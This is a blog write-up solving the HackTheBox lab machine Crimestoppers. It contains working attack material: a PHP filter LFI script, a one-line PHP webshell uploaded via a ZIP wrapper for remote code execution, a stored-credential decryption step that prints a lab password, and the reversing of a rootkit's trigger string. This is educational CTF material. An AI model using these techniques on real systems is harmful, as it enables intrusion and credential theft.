In this post we’re resolving Crimestoppers from HackTheBox that has just been retired, so there is no better moment to show you how I solved it.
This is a high level machine that is one of my favorites and was made by IppSec (I highly recommend his YouTube channel).
To get initial shell we’ll abuse the PHP wrappers, then we’ll obtain the user credentials stored in Thunderbird (same method to get passwords stored in Firefox) and finally we’ll face a reversing challenge.
My nick in HackTheBox is: manulqwerty
If you have any proposal or any correction don’t hesitate to leave a comment.
Write-Up
Enumeration
As always, the first step will be a port scan with Nmap:
nmap -sC -sV 10.10.10.80
We only have the port 80 (http), so let’s take a look of the web.
As we see in the next GIF, we have a portal inspired by Mr. Robot that allows us to send notes.
Without needing to fuzz, we find these URLs:
http://10.10.10.80/?op=home
http://10.10.10.80/?op=upload
http://10.10.10.80/?op=view&secretname=
As we see in the LFI-Cheat Sheet, we can check the PHP code of the web abusing the wrappers.
http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=PHPFILE
Exploitation
In the next gif, we see that this request returns a base64 string. In this case we’ll get the php code of the file ‘upload.php’.
To read better the content of the request, we can use curl:
curl http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=upload
To decode the base64:
echo -n BASE64TEXT | base64 -d
So now, we can get the PHP files that we know from the server. To automate this process, I’ve written a Python script that will make the task much more comfortable.
We only have to execute it and put the name of the file that we want to see: https://github.com/ironHackersDev/python-scripts/blob/master/phpAttack.py
#!/usr/bin/python import requests import base64 import re def GetPHP(file): r = requests.get("http://10.10.10.80/?op=php://filter/convert.base64-encode/resource="+file) result = re.search('PD9(.*?)<footer>',r.text).group(1) b64 = "PD9" + result + "==" return base64.b64decode(b64) while True: cmd = raw_input("> ") try: output = GetPHP(cmd) print output except: if cmd == "exit" : break print "ERROR"
In the file upload.php, we find where the tips are uploaded:
file_put_contents("uploads/". $client_ip . '/' . $secretname, $tip);
The notes are uploaded to directory: /uploads/[OUR IP]:
As we read in the LFI-Cheat Sheet we can use the ZIP wrapper to get RCE.
echo "<?php \$_GET['param1'](\$_GET['param2']); ?>" > shell.php zip -0 shell.zip shell.php
The following step will be intercept the upload of a tip with Burpsuite and with the utility ‘Paste from file’ we’ll can upload the ZIP file we just created:
Once we upload the file, we can verify that it has been uploaded correctly in /uploads/[OUR IP]/[FILE NAME].
Then we can use the wrapper ZIP to decompress and use webshell that we have uploaded. Getting reverse shell will be very simple once we have already RCE.
Post-Exploitation
First of all will be upgrading our shell to full interactive tty: How to get TTY
Now, we can already access to the user.txt
Searching in the directories of the only user of the server: dom , we find:
We can get the credentials using : https://github.com/unode/firefox_decrypt
Website: imap://crimestoppers.htb
Username: ‘[email protected]’
Password: ‘Gummer59’Website: smtp://crimestoppers.htb
Username: ‘[email protected]’
Password: ‘Gummer59’
With this password we can escalate to dom user: su dom
Then we’ll read the mails contained in the directory .thunderbird
/home/dom/.thunderbird/36jinndk.default/ImapMail/crimestoppers.htb
As we read in the file Drafts-1, there would be rootkit installed on the server:
The rootkit is: https://github.com/sajith/mod-rootme
But as the message said “Get root” does not work:
Method 1 – Reversing :
In order to investigate why it does not work, we’ll download the file:
To analyze this file we will use IDA PRO 7.0
In the function window we find that there is a function called: darkarmy (), double click on it and with F5 we’ll decompile.
To see the contents of the variables we double click and obtain:
The function rootme_post_read_request verifies that the string that we pass is the correct one, to return us root shell.
As we saw before, the function darkarmy() will execute an exclusive OR (^) between the two variables. Let’s make a C program to get the string that we need.
#include <stdio.h> int main(){ int byte_1BF2[11]={0x0e, 0x14, 0x0d, 0x38, 0x3b, 0x0b, 0x0c, 0x27, 0x1b, 0x1, 0x0}; char aHackTheBox[11]= "HackTheBox"; int i; for(i=0;i<10;i++) printf("%c",(unsigned int) aHackTheBox[i] ^ byte_1BF2[i]); puts(""); }
We get “FunSociety”, so let’s try it.
Method 2 – Look at the logs files
In the directory /var/log/apache2 we find the Apache log files
As shown in the image, in the file access.log.4.gz we have the string “FunSociety”
Tools:
- https://github.com/unode/firefox_decrypt
- https://github.com/sajith/mod-rootme
- https://portswigger.net/burp
References:
gr8t write up. very detailed
Keep it up guys